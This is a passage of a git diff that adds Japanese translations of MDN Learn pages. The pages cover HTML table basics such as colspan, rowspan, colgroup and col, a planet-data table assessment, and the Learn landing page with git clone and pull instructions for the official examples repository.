とともに、追加の利点もあります。それらを使用すると、各ヘッダーを同じ行または列のすべてのデータに関連付けることで、テーブルをよりアクセスしやすくすることができます。これにより、スクリーンリーダーはデータの行全体または列全体を一度に読み取ることができます。これは非常に便利です。</p> + +<h2 id="Allowing_cells_to_span_multiple_rows_and_columns" name="Allowing_cells_to_span_multiple_rows_and_columns">セルを複数の行や列で結合できるようにする</h2> + +<p>セルを複数の行または列にまたがるようにしたい場合があるかもしれません。次の簡単な例を見てください。これは一般的な動物の名前を示しています。場合によっては、動物の名前の横にオスとメスの名前を表示したいことがあります。そうでない場合もあるでしょう。そのような場合は、動物の名前を表全体に広げたいだけです。</p> + +<p>最初のマークアップは次のようになります。</p> + +<pre class="brush: html line-numbers language-html notranslate"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token"><</span>table</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>tr</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>th</span><span class="punctuation token">></span></span>Animals<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>th</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"></</span>tr</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>tr</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>th</span><span class="punctuation token">></span></span>Hippopotamus<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>th</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"></</span>tr</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>tr</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>th</span><span class="punctuation token">></span></span>Horse<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>th</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>td</span><span class="punctuation token">></span></span>Mare<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>td</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"></</span>tr</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>tr</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>td</span><span class="punctuation token">></span></span>Stallion<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>td</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"></</span>tr</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>tr</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>th</span><span class="punctuation token">></span></span>Crocodile<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>th</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"></</span>tr</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>tr</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>th</span><span class="punctuation token">></span></span>Chicken<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>th</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>td</span><span class="punctuation token">></span></span>Hen<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>td</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"></</span>tr</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>tr</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>td</span><span class="punctuation token">></span></span>Rooster<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>td</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"></</span>tr</span><span class="punctuation token">></span></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>table</span><span class="punctuation token">></span></span></code></pre> + +<p>しかし、出力結果は私たちが望むものではありません。</p> + +<table> + <tbody> + <tr> + <th>Animals</th> + </tr> + <tr> + <th>Hippopotamus</th> + </tr> + <tr> + <th>Horse</th> + <td>Mare</td> + </tr> + <tr> + <td>Stallion</td> + </tr> + <tr> + <th>Crocodile</th> + </tr> + <tr> + <th>Chicken</th> + <td>Hen</td> + </tr> + <tr> + <td>Rooster</td> + </tr> + </tbody> +</table> + +<p>"Animals"、"Hippopotamus"、および "Crocodile" を2列にまたがって作成し、"Horse" と "Chicken" を2列にまたがって作成する方法が必要です。幸いなことに、テーブルのヘッダーとセルには <code>colspan</code> 属性と <code>rowspan</code> 属性があり、それを使って実行できます。どちらも単位なしの数値を受け入れます。これはスパンする行数または列数と同じです。たとえば、<code>colspan="2"</code> を指定すると、セルは2列にまたがります。</p> + +<p>このテーブルを改善するために <code>colspan</code> と <code>rowspan</code> を使用しましょう。</p> + +<ol> + <li>まず、ご使用のローカルマシンの新しいディレクトリに、<a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/animals-table.html">animals-table.html</a> ファイルと <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/minimal-table.css">minimal-table.css</a> ファイルのローカルコピーを作成します。HTML には、上記と同じ動物の例が含まれています。</li> + <li>次に、<code>colspan</code> を使用して "Animals"、"Hippopotamus"、および "Crocodile" を2列にまたがって作成します。</li> + <li>最後に、<code>rowspan</code> を使用して "Horse" と "Chicken" を2行にまたがるようにします。</li> + <li>改善を確認するには、ブラウザでコードを保存して開きます。</li> +</ol> + +<div class="note"> +<p><strong>メモ</strong>: 完成した例は GitHub の <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/animals-table-fixed.html">animals-table-fixed.html</a> にあります (<a href="https://mdn.github.io/learning-area/html/tables/basic/animals-table-fixed.html">こちらもご覧ください</a>)。</p> +</div> + +<h2 id="Providing_common_styling_to_columns" name="Providing_common_styling_to_columns">列への共通のスタイル付け</h2> + +<p><span class="tlid-translation translation" lang="ja"><span title="">先に進む前に、この記事で最後に紹介する機能があります。</span><br> + <span title="">HTML では、データの列全体のスタイル情報を1か所にまとめて定義することができます</span></span> — <strong><code><a href="/ja/docs/Web/HTML/Element/col"><col></a></code></strong> <span class="tlid-translation translation" lang="ja"><span title="">要素と</span></span> <strong><code><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/colgroup"><colgroup></a></code></strong> <span class="tlid-translation translation" lang="ja"><span title="">要素です。</span><span title="">列にスタイルを指定するのは少々面倒で非効率的な場合があるためです。列内の</span></span> <code><td></code> <span class="tlid-translation translation" lang="ja"><span title="">や</span></span> <code><th></code> <span class="tlid-translation translation" lang="ja"><span title="">ごとにスタイル情報を指定するか、</span></span>{{cssxref(":nth-child()")}}<span class="tlid-translation translation" lang="ja"><span title=""> などの複雑なセレクタを使用する必要があります。</span></span></p> + +<p>次の簡単な例を見てください。</p> + +<pre class="brush: html notranslate"><table> + <tr> + <th>Data 1</th> + <th style="background-color: yellow">Data 2</th> + </tr> + <tr> + <td>Calcutta</td> + <td style="background-color: yellow">Orange</td> + </tr> + <tr> + <td>Robots</td> + <td style="background-color: yellow">Jazz</td> + </tr> +</table></pre> + +<p>これにより、次のような出力結果が得られます。</p> + +<table> + <tbody> + <tr> + <th>Data 1</th> + <th style="background-color: yellow;">Data 2</th> + </tr> + <tr> + <td>Calcutta</td> + <td style="background-color: yellow;">Orange</td> + </tr> + <tr> + <td>Robots</td> + <td style="background-color: yellow;">Jazz</td> + </tr> + </tbody> +</table> + +<p>列内の3つすべてのセルにわたってスタイル情報を繰り返す必要があるため、これは理想的ではありません (実際のプロジェクトでは3つすべてに <code>class</code> を設定し、別のスタイルシートでスタイルを指定することになります)。これを行う代わりに、<code><col></code> 要素で情報を1回指定できます。<code><col></code> 要素は、開始 <code><table></code> タグのすぐ下の <code><colgroup></code> コンテナ内で指定されます。次のようにテーブルを指定することで、上と同じ効果を生み出すことができます。</p> + +<pre class="brush: html notranslate"><table> + <colgroup> + <col> + <col style="background-color: yellow"> + </colgroup> + <tr> + <th>Data 1</th> + <th>Data 2</th> + </tr> + <tr> + <td>Calcutta</td> + <td>Orange</td> + </tr> + <tr> + <td>Robots</td> + <td>Jazz</td> + </tr> +</table></pre> + +<p>事実上、2つの "スタイル列" を定義しています。1つは各列のスタイル情報を指定しています。最初の列にはスタイルを設定していませんが、空白の <code><col></code> 要素を含める必要があります。そうでない場合、スタイルは最初の列にも適用されます。</p> + +<p>両方の列にスタイル情報を適用する場合は、次のように span 属性を持つ1つの <code><col></code> 要素を含めるだけで済みます。</p> + +<pre class="brush: html notranslate"><colgroup> + <col style="background-color: yellow" span="2"> +</colgroup></pre> + +<p><code>colspan</code> や <code>rowspan</code> と同じように、<code>span</code> はスタイルを適用したい列の数を指定する単位なしの数値を取ります。</p> + +<h3 id="Active_learning_colgroup_and_col" name="Active_learning_colgroup_and_col">アクティブラーニング: colgroup と col</h3> + +<p>今こそ自分でやってみるべき時です。</p> + +<p>以下に言語教師のタイムテーブルを見ることができます。金曜日に、彼女は一日中オランダ語を教える新しいクラスを持っていますが、彼女はまた火曜日と木曜日に数期間ドイツ語を教えています。彼女は教えている日を含むコラムをハイライトしたいと思います。</p> + +<p>{{EmbedGHLiveSample("learning-area/html/tables/basic/timetable-fixed.html", '100%', 320)}}</p> + +<p>以下の手順に従ってテーブルを再作成してください。</p> + +<ol> + <li>まず、<a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/timetable.html">timetable.html</a> ファイルのローカルコピーをあなたのローカルマシンの新しいディレクトリに作成してください。HTML には、上で見たのと同じ表から、列のスタイル情報を除いたものが含まれています。</li> + <li><code><col></code> 要素を追加することができる <code><table></code> タグのすぐ下のテーブルの上部に <code><colgroup></code> 要素を追加します (以下の残りの手順を参照)。</li> + <li>最初の2つの列はスタイルなしのままにする必要があります。</li> + <li>3列目に背景色を追加します。<code>style</code> 属性の値は<code>background-color:#97DB9A;</code> です。</li> + <li>4列目に別の幅を設定します。<code>style</code> 属性の値は <code>width: 42px;</code> です。</li> + <li>5列目に背景色を追加します。<code>style</code> 属性の値は <code>background-color: #97DB9A;</code> です。</li> + <li>これは特別な日であり、彼女は新しいクラスを教えていることを示すために、6番目の列に異なる背景色と境界線を追加します。<code>style</code> <span class="tlid-translation translation" lang="ja"><span title="">属性の値は </span></span><code>background-color:#DCC48E; border:4px solid #C1437A;</code><span class="tlid-translation translation" lang="ja"><span title=""> です。</span></span></li> + <li>The last two days are free days, so just set them to no background color but a set width; the value for the <code>style</code> attribute is <code>width: 42px;</code><br> + 最後の2日間は空き日なので、背景色を設定せずに幅を設定します。<code>style</code> 属性の値は <code>width: 42px;</code> です。</li> +</ol> + +<p>例でどのようにして上手くいくかを見てください。どうしていいか分からなくなったり、作業をチェックしたい場合は、<a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/timetable-fixed.html">timetable-fixed.html</a> として GitHub に私たちのバージョンを見つけることができます (<a href="https://mdn.github.io/learning-area/html/tables/basic/timetable-fixed.html">それもライブを見てください</a>)。</p> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>HTML テーブルの基本はこれで終わりです。次の記事では、もう少し高度なテーブルの機能を見て、視覚障害者にとってそれらがどれほどアクセシブルであるかを考えます。</p> + +<p>{{NextMenu("Learn/HTML/Tables/Advanced", "Learn/HTML/Tables")}}</p> + +<div> +<h2 id="このモジュール">このモジュール</h2> + +<ul> + <li><a href="/ja/docs/Learn/HTML/Tables/Basics">HTML の表の基本</a></li> + <li><a href="/ja/docs/Learn/HTML/Tables/Advanced">HTML 表の高度な機能とアクセシビリティ</a></li> + <li><a href="/ja/docs/Learn/HTML/Tables/Structuring_planet_data">評価: 太陽系の惑星のデータを構造化する</a></li> +</ul> +</div> diff --git a/files/ja/learn/html/tables/index.html b/files/ja/learn/html/tables/index.html new file mode 100644 index 0000000000..7f1a8c7fd2 --- /dev/null +++ b/files/ja/learn/html/tables/index.html @@ -0,0 +1,43 @@ +--- +title: HTML テーブル +slug: Learn/HTML/Tables +tags: + - Article + - Beginner + - CodingScripting + - Guide + - HTML + - Landing + - Module + - Tables +translation_of: Learn/HTML/Tables +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">HTML でのとてもよくある仕事はテーブルデータの構造化で、数々の要素と属性がこの目的のためにあります。スタイリング用の <a href="/ja/docs/Learn/CSS">CSS</a> と組み合わせて、HTML は Web 上に、学校の授業の計画や、水泳の時間割や、好きな恐竜やフットボールチームの統計情報といった、情報のテーブルを簡単に表示できます。このモジュールではHTMLを使ってテーブルデータを構造化するのに必要な知識を一通り案内します。</p> + +<h2 id="Prerequisites" name="Prerequisites">必要となる知識</h2> + +<p>このモジュールを学習する前に、HTMLの基本について既に理解している必要があります。もしまだ理解が足りていないと感じているならば <a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a>を参照してください。</p> + +<div class="note"> +<p><strong>注</strong>: もしあなたが自分のファイルを作成することのできないコンピュータ・タブレット端末そのほかのデバイスで作業をしているならば、 インターネット上の <a href="http://jsbin.com/">JSBin</a> や <a href="https://thimble.mozilla.org/">Thimble</a>といったコーディングプログラムを用いてほとんどのコードの例を試してみることができます。</p> +</div> + +<h2 id="Guides" name="Guides">ガイド</h2> + +<p>このモジュールは以下の話題を含んでいます。:</p> + +<dl> + <dt><a href="/ja/docs/Learn/HTML/Tables/Basics">HTML テーブルの基本</a></dt> + <dd>この記事を読めば、HTMLのテーブルについてのイロハを知ることができます。行や列、見出しやカラムと行を複数に分割するセルの作成を扱い、またいかにしてカラムにあるセルをまとめて見栄えを整えるかについて扱います。</dd> + <dt><a href="/ja/docs/Learn/HTML/Tables/Advanced">HTML テーブルの高度な機能とアクセシビリティ</a></dt> + <dd>このモジュールの2つ目の記事では、 HTMLのもう少し発展的な機能について扱います。 たとえば、見出しや要約、そして行をまとめて表のhead,bodyそしてフッターのsectionにすることです。同時に視覚にハンディキャップを有する人びとのために表のアクセシビリティについても記事で扱います。</dd> +</dl> + +<h2 id="Assessments" name="Assessments">評価</h2> + +<dl> + <dt><a href="/ja/docs/Learn/HTML/Tables/Structuring_planet_data">惑星データの構造化</a></dt> + <dd>テーブルについての記事を理解できたかの評価として、太陽系の星についてのいくつかのデータを提供し、あなたにHTMLを用いて表にしてもらいます。</dd> +</dl> diff --git a/files/ja/learn/html/tables/structuring_planet_data/index.html b/files/ja/learn/html/tables/structuring_planet_data/index.html new file mode 100644 index 0000000000..625a34c151 --- /dev/null +++ b/files/ja/learn/html/tables/structuring_planet_data/index.html @@ -0,0 +1,87 @@ +--- +title: '評価: 太陽系の惑星のデータを構造化する' +slug: Learn/HTML/Tables/Structuring_planet_data +tags: + - Assessment + - Beginner + - CodingScripting + - HTML + - Learn + - テーブル +translation_of: Learn/HTML/Tables/Structuring_planet_data +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenu("Learn/HTML/Tables/Advanced", "Learn/HTML/Tables")}}</div> + +<p class="summary">テーブルの評価では、太陽系の惑星に関するいくつかのデータを提供し、それを HTML テーブルに構造化しましょう。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識:</th> + <td>この評価を行う前に、このモジュールのすべての記事について学んでいるべきです。</td> + </tr> + <tr> + <th scope="row">目標:</th> + <td>HTML の表やそれに付随する機能に関する理解を確認する。</td> + </tr> + </tbody> +</table> + +<h2 id="はじめに">はじめに</h2> + +<p>この評価を開始するには、ローカルコンピュータの新しいディレクトリに、<a href="https://github.com/mdn/learning-area/blob/master/html/tables/assessment-start/blank-template.html">blank-template.html</a>、<a href="https://github.com/mdn/learning-area/blob/master/html/tables/assessment-start/minimal-table.css">minimal-table.css</a>、および <a href="https://github.com/mdn/learning-area/blob/master/html/tables/assessment-start/planets-data.txt">planets-data.txt</a> のローカルコピーを作成します。</p> + +<div class="note"> +<p><strong>メモ</strong>: 代わりとして、<a class="external external-icon" href="https://jsbin.com/">JSBin</a> や <a class="external external-icon" href="https://thimble.mozilla.org/">Thimble</a> のようなサイトを使って評価することもできます。HTML、CSS、および JavaScript をこれらのオンラインエディタのいずれかに貼り付けることができます。使用しているオンラインエディタに個別の JavaScript/CSS パネルがない場合は、それらを HTML ページ内に <code><script></code>/<code><style></code> 要素をインラインで配置してください。</p> +</div> + +<h2 id="やることの概要">やることの概要</h2> + +<p>あなたは学校で働いています。現在生徒たちは私たちの太陽系の惑星を研究しています、そしてあなたは彼らに惑星についての事実と数字を調べるために分かりやすいデータのセットを提供したいです。HTML データテーブルが理想的です — 利用可能な生データを取得し、それをテーブルに変換する必要があります。以下の手順に従ってください。</p> + +<p>完成した表は次のような外観を備えているはずです:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14609/assessment-table.png" style="display: block; margin: 0 auto;"></p> + +<p>また、<a href="https://mdn.github.io/learning-area/html/tables/assessment-finished/planets-data.html">ここに掲載されている例を見る</a>こともできます (ソースコードを見ないでください — チートしないでください)。</p> + +<ul> +</ul> + +<h2 id="手順">手順</h2> + +<p>次の手順では、表の例を完成させるために必要な作業について説明します。必要なすべてのデータは <code>planets-data.txt</code> ファイルに含まれています。データをうまく視覚化できない場合は、上記の実際の例を見てみるか、図を描いてみてください。</p> + +<ol> + <li><code>blank-template.html</code> のコピーを開き、外部コンテナ、テーブルヘッダー、およびテーブル本体を指定してテーブルを作成します。この例ではテーブルフッターは必要ありません。</li> + <li>提供されたキャプションを自分のテーブルに追加します。</li> + <li>すべての列ヘッダーを含む行をテーブルヘッダーに追加します。</li> + <li>すべての行見出しを意味的に見出しにすることを忘れずに、テーブル本体内にすべてのコンテンツ行を作成します。</li> + <li>すべてのコンテンツが正しいセルに挿入されていることを確認してください — 生データでは、惑星データの各行が関連する惑星の隣に表示されます。</li> + <li>行ヘッダーと列ヘッダーを、それらが見出しとして機能する行、列、または行グループと明確に関連付けられるように属性を追加します。</li> + <li>すべての惑星名行ヘッダーを含む列のすぐ周りに黒い枠線を追加します。</li> +</ol> + +<h2 id="ヒントとTIPS">ヒントとTIPS</h2> + +<ul> + <li>ヘッダー行の最初のセルは空白で、2列にまたがる必要があります。</li> + <li>惑星名の行見出し (例: <em>土星</em>) の左側にあるグループの行見出し (例: <em>木星型惑星</em>) は、整理するのが少し面倒です。それぞれが正しい行数と列数にまたがるようにする必要があります。</li> + <li>ヘッダーを行/列に関連付ける1つの方法は、他の方法よりもはるかに簡単です。</li> +</ul> + +<h2 id="評価">評価</h2> + +<p>あなたが組織的コースの一環としてこの評価に従っている場合、採点のために作品を教師/メンターに渡すことができるはずです。もし自己学習しているのであれば、<a href="https://discourse.mozilla.org/t/structuring-planet-data-assessment/24680">この練習問題についてのディスカッションスレッド</a>、または <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a> の <a href="irc://irc.mozilla.org/mdn">#mdn</a> IRC チャンネルで尋ねることで、非常に簡単にマーキングガイドを入手することができます。最初にエクササイズをしてみてください。不正をすることによって得られるものは何もありません！</p> + +<p>{{PreviousMenu("Learn/HTML/Tables/Advanced", "Learn/HTML/Tables")}}</p> + +<h2 id="このモジュール">このモジュール</h2> + +<ul> + <li><a href="/ja/docs/Learn/HTML/Tables/Basics">HTML の表の基本</a></li> + <li><a href="/ja/docs/Learn/HTML/Tables/Advanced">HTML 表の高度な機能とアクセシビリティ</a></li> + <li><a href="/ja/docs/Learn/HTML/Tables/Structuring_planet_data">評価: 太陽系の惑星のデータを構造化する</a></li> +</ul> diff --git a/files/ja/learn/index.html b/files/ja/learn/index.html new file mode 100644 index 0000000000..2a218b21c6 --- /dev/null +++ b/files/ja/learn/index.html @@ -0,0 +1,131 @@ +--- +title: ウェブ開発を学ぶ +slug: Learn +tags: + - Intro + - Landing + - ウェブ + - 初心者 + - 学習 + - 索引 +translation_of: Learn +--- +<p>{{LearnSidebar}}</p> + +<p class="summary">MDN 学習エリアへようこそ。この一連の記事では、ウェブ開発が全くの初心者にとって、シンプルなウェブサイトのコーディングを始めるのに必要な全てを提供することを目標とします。</p> + +<p>MDN のこのエリアでは、あなたを「初心者」から「上級者」までのスキルアップでなく、「初心者」から「中級程度」までの支援となります。ウェブ開発において自分なりの方法を確立するためには、さらに、<a href="/">MDN のこのエリア以外の記事</a>と、中・上級者用のウェブサイトを読み進めてください。その前提知識を身に付ける為に本、学習エリアがあります。</p> + +<p>全くの初心者であれば、ウェブ開発は難しいものです - 私たちはあなたの手を握り、あなたが快適に感じ、適切にトピックを学ぶために十分な詳細を提供します。あなたがウェブ開発を学習している学生 (個人またはクラスの一部として)、クラスの教材を探している先生、趣味の人、ウェブ技術の仕組みをもっと理解したい人など、どのような人であっても、安心してください。</p> + +<h2 id="何が新しくなった？">何が新しくなった？</h2> + +<p>学習エリアのコンテンツは定期的に追加されています。<a href="/ja/docs/Learn/Release_notes">学習エリアのリリースノート</a>には、何が変更されたかを記載しています。</p> + +<p>カバーしてほしいトピックや不足していると感じたトピックについて質問がある場合は、<a href="https://discourse.mozilla.org/c/mdn">Discourse フォーラム</a>にメッセージを送ってください。</p> + +<div class="in-page-callout webdev"> +<h3 id="フロントエンドの_Web_開発者になりたいですか？">フロントエンドの Web 開発者になりたいですか？</h3> + +<p>目標に向かって頑張るために必要な情報をまとめたコースをご用意しました。</p> + +<p><a class="cta primary" href="/ja/docs/Learn/Front-end_web_developer">開始する</a></p> +</div> + +<h2 id="Where_to_start" name="Where_to_start">読み始める場所</h2> + +<ul class="card-grid"> + <li><span>完全な初心者の方:</span> ウェブ開発の完全な初心者なら、<a href="/ja/docs/Learn/Getting_started_with_the_web">ウェブ入門</a>を一通り読むのをお勧めします。これを読めば、ウェブ開発を始めるのに必要な基本的な知識はすべて見つかるでしょう。</li> + <li><span>特定の質問がある方:</span> ウェブ開発について何か質問がある場合、<a href="/ja/docs/Learn/Common_questions">よくある質問</a>セクションに助けとなる情報があるかもしれません。</li> + <li><span>基本の次の段階の方:</span> すでにいくらかの知識があるなら、次のステップは {{glossary("HTML")}} と {{glossary("CSS")}} を詳しく学ぶことです。 <a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a>のモジュールから始めて、 <a href="/ja/docs/Learn/CSS/Introduction_to_CSS">CSS 入門</a>のモジュールに移動します。</li> + <li><span>スクリプト作成まで進む方:</span> HTML と CSS を十分知っていたり、主にコーディングに興味があるなら、 {{glossary("JavaScript")}} やサーバーサイド開発に移動したくなるでしょう。<a href="/ja/docs/Learn/JavaScript/First_steps">JavaScript の第一歩</a>と<a href="/ja/docs/Learn/Server-side/First_steps">サーバサイドの第一歩</a>のモジュールから始めます。</li> +</ul> + +<div class="note"> +<p><strong>メモ</strong>: <a href="/ja/docs/Glossary">用語集</a>にて、単語の定義が提供されています。</p> +</div> + +<p>{{LearnBox({"title":"Random glossary entry"})}}</p> + +<h2 id="Topics_covered" name="Topics_covered">カバーするトピック</h2> + +<p>下記は MDN 学習エリアにてカバーしているすべてのトピック一覧です。</p> + +<dl> + <dt><a href="/ja/docs/Learn/Getting_started_with_the_web">ウェブ入門</a></dt> + <dd>完全なウェブ開発初心者用の実用的な入門を提供します。</dd> + <dt><a href="/ja/docs/Learn/HTML">HTML — ウェブの構造化</a></dt> + <dd>HTML はコンテンツのいろいろな部分を構造化し、意味や目的を定義するのに使う言語です。このトピックでは HTML を詳細に教えます。</dd> + <dt><a href="/ja/docs/Learn/CSS">CSS — ウェブのスタイルづけ</a></dt> + <dd>CSS はウェブのコンテンツをスタイルづけしたりレイアウトしたり、アニメーションのような振る舞いを追加したりする言語です。このトピックでは CSS を包括的にカバーします。</dd> + <dt><a href="/ja/docs/Learn/JavaScript">JavaScript — 動的クライアントサイドスクリプティング</a></dt> + <dd>JavaScript はウェブページに動的な機能を追加するスクリプト言語です。このトピックでは JavaScript を書いたり理解するのに十分となるのに必要なすべての要点を教えます。</dd> + <dt><a href="/ja/docs/Learn/Accessibility">アクセシビリティ — ウェブをすべての人が利用できるようにする</a></dt> + <dd>アクセシビリティはウェブコンテンツをなるべく多くの人に利用できるようにする実践であり、それは障がいや、端末や、ロケールや、その他の分化させる要素に関係なく利用できるようにします。このトピックでは知る必要のあるすべてが与えられます。</dd> + <dt><a href="/ja/docs/Learn/Performance">ウェブの性能 — ウェブサイトを高速かつレスポンシブにする</a></dt> + <dd>ウェブの性能は、ウェブアプリケーションのダウンロードを確実に高速化し、ダウンロードを帯域幅、画面の寸法、ネットワーク、端末の能力にかかわらず、ユーザーの操作をレスポンシブにする技術です。</dd> + <dt><a href="/ja/docs/Learn/Tools_and_testing">ツールとテスト</a></dt> + <dd>このトピックは開発者が作業をやり易くするツール、例えばクロスブラウザーテストツールなどについてカバーします。</dd> + <dt><a href="/ja/docs/Learn/Server-side">サーバサイドのウェブサイトプログラミング</a></dt> + <dd>クライアントサイドのウェブ開発に集中していても、サーバとサーバサイドのコードがどう動くのかを知るのは有益です。このトピックではサーバサイドの動作の一般的な入門と、2 つの有名フレームワーク — Django (Python) and Express (node.js) を使ってサーバサイドアプリを作る方法の詳しいチュートリアルを提供します。</dd> +</dl> + +<h2 id="Getting_our_code_examples" name="Getting_our_code_examples">コードサンプルを入手する</h2> + +<p>学習エリアにあるコードの例はすべて <a href="https://github.com/mdn/learning-area/">GitHub で利用可能</a>です。それらすべてをあなたのコンピュータにコピーしたいのなら、最も簡単な方法は<a href="https://github.com/mdn/learning-area/archive/master.zip">最新の master コードブランチのZIPをダウンロードする</a>ことです。</p> + +<p>自動更新を可能にするより柔軟な方法でリポジトリをコピーしたい場合は、より複雑な指示に従うことになります。</p> + +<ol> + <li>あなたのマシンに <a href="https://git-scm.com/downloads">Git をインストールします</a>。これは GitHub が動作している、その下にあるバージョン管理システムのソフトウェアです。</li> + <li><a href="https://github.com/join">GitHub にサインアップします</a>。</li> + <li>サインアップが済んだら、ユーザー名/パスワードで <a href="https://github.com">github.com</a> にログインします。</li> + <li>あなたのコンピューターで<a href="https://www.lifewire.com/how-to-open-command-prompt-2618089">コマンドプロンプト</a> (Windows) かターミナル (<a href="https://help.ubuntu.com/community/UsingTheTerminal">Linux</a>, <a href="http://blog.teamtreehouse.com/introduction-to-the-mac-os-x-command-line">macOS</a>) を開きます。</li> + <li> learning area のリポジトリを、あなたのコマンドプロンプト/ターミナルの現在位置の learning-area と呼ぶフォルダーにコピーするには、下記のコマンドを使います。 + <pre class="brush: bash notranslate">git clone https://github.com/mdn/learning-area</pre> + </li> + <li>そのディレクトリに入って、ファイルが (finder/エクスプローラーや、<a href="https://en.wikipedia.org/wiki/Cd_(command)">cd コマンド</a>のいずれか) の後に見つかるでしょう。</li> +</ol> + +<p><code>learning-area</code> リポジトリを、GitHub の master バージョンになされたあらゆる変更で更新するには、以下の手順でできます。</p> + +<ol> + <li>コマンドプロンプト/ターミナルで、<code>cd</code> を使って <code>learning-area</code> ディレクトリの中に移動します。例えば、上位のディレクトリにいる場合は以下のようにします。 + + <pre class="brush: bash notranslate">cd learning-area</pre> + </li> + <li>下記のコマンドでリポジトリを更新します。 + <pre class="brush: bash notranslate">git pull</pre> + </li> +</ol> + +<h2 id="Contact_us" name="Contact_us">連絡方法</h2> + +<p>何か連絡を取りたいことがある場合、<a href="https://discourse.mozilla-community.org/t/learning-web-development-marking-guides-and-questions/16294">learning area discourse スレッド</a>や <a href="/ja/docs/MDN/Community/Conversations#Chat_in_IRC">IRC チャンネル</a> でメッセージを投稿するのがもっともよい方法です。サイトの間違いや新しい学習トピックスの要望、理解できない項目についてのヘルプ要請などなんでも歓迎です。</p> + +<p>コンテンツの開発、改善の手助けに興味がある場合、<a href="/ja/docs/Learn/How_to_contribute">協力するには？</a>を覗いて、始めてください！あなたが初心者でも、先生でも、熟練のウェブ開発者でも、その他学習体験の改善に興味がある人でも、誰でも歓迎です。</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<dl> + <dt><a href="https://www.mozilla.org/en-US/newsletter/developer/">Mozilla developer newsletter</a></dt> + <dd>我々のウェブ開発者向けニュースレターで、あらゆる経験レベル向けのすばらしいリソースです。</dd> + <dt><a href="https://www.youtube.com/playlist?list=PLo3w8EB99pqLEopnunz-dOOBJ8t-Wgt2g">Web demystified</a></dt> + <dd>ウェブの基礎を説明するすばらしい動画シリーズで、ウェブ開発の完全な初心者に向けたもの。製作者は <a href="https://twitter.com/JeremiePat">Jérémie Patonnier</a></dd> + <dt><a href="https://www.codecademy.com/">Codecademy</a></dt> + <dd>最初からプログラミング言語を学ぶためのすばらしいインタラクティブサイト</dd> + <dt><a href="https://www.bitdegree.org/learn/">BitDegree</a></dt> + <dd>ゲーミフィケーションされた学習プロセスによる基本的なコーディング理論です。主に初心者向けです。</dd> + <dt><a href="https://code.org/">Code.org</a></dt> + <dd>基本的なコーディング理論と実践で、主に子供や完全な初心者を目的としたもの。</dd> + <dt><a href="https://exlskills.com/learn-en/courses">EXLskills</a> </dt> + <dd>技術スキルを学ぶための、メンターシップやプロジェクトベースの学習があるフリーでオープンなコースです。</dd> + <dt><a href="https://www.freecodecamp.org/">freeCodeCamp.org</a></dt> + <dd>ウェブ開発を学習するチュートリアルやプロジェクトのあるインタラクティブなサイト。</dd> + <dt><a href="https://learning.mozilla.org/web-literacy/">Web literacy map</a></dt> + <dd>エントリーレベルのウェブリテラシーや 21世紀のスキル向けのフレームワークで、カテゴリーごとにソートされた教科にもアクセスできます。</dd> + <dt><a href="https://learning.mozilla.org/activities">Teaching activities</a></dt> + <dd>Mozilla Foundation によって作成された教える(と学ぶ)ための教科シリーズで、ウェブリテラシーやプライバシーなどの基本から、JavaScript や Minecraft 